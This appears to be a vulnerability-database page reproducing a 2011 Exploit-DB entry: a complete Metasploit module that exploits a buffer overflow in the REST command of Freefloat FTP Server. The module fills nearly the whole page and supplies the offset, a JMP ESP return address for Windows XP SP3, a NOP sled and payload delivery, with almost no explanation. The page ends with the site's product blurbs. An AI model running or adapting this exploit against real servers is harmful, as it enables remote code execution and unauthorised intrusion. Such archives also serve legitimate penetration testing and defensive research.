Lucene search
K

Freefloat FTP Server - 'REST' Remote Buffer Overflow (Metasploit)

🗓️ 19 Jul 2011 00:00:00Reported by KaHPeSeSeType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 21 Views

FreeFloat FTP Server Buffer Overflow in REST comman

Code
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'FreeFloat FTP Server REST Buffer Overflow',
            'Description'    => %q{
                        This module exploits a FreeFloat FTP Server Buffer Overflow
						found in the REST command.
            },
            'Author'         => [
                        'C4SS!0 G0M3S',     # Discovery Vuln.
                        'KaHPeSeSe'         # Metasploit Module
                    ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/17546' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'PERFECT XP PC1 / SP3',
                        {
                            'Ret' => 0x7C874413, # findjmp KERNEL32.DLL ESP 0x7C874413 jmp ESP
                            'Offset' => 246
                        }
                    ],
                ],
            'DisclosureDate' => 'Jul 18 2011',
            'DefaultTarget' => 0))
    end
 
    def exploit
        connect_login
 
        print_status("Trying target #{target.name}...")
 
        buf = make_nops(target['Offset']) + [target.ret].pack('V')
        buf << make_nops(20)
        buf << payload.encoded
 
        send_cmd( ['REST', buf] , false )
 
        handler
        disconnect
    end
 
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation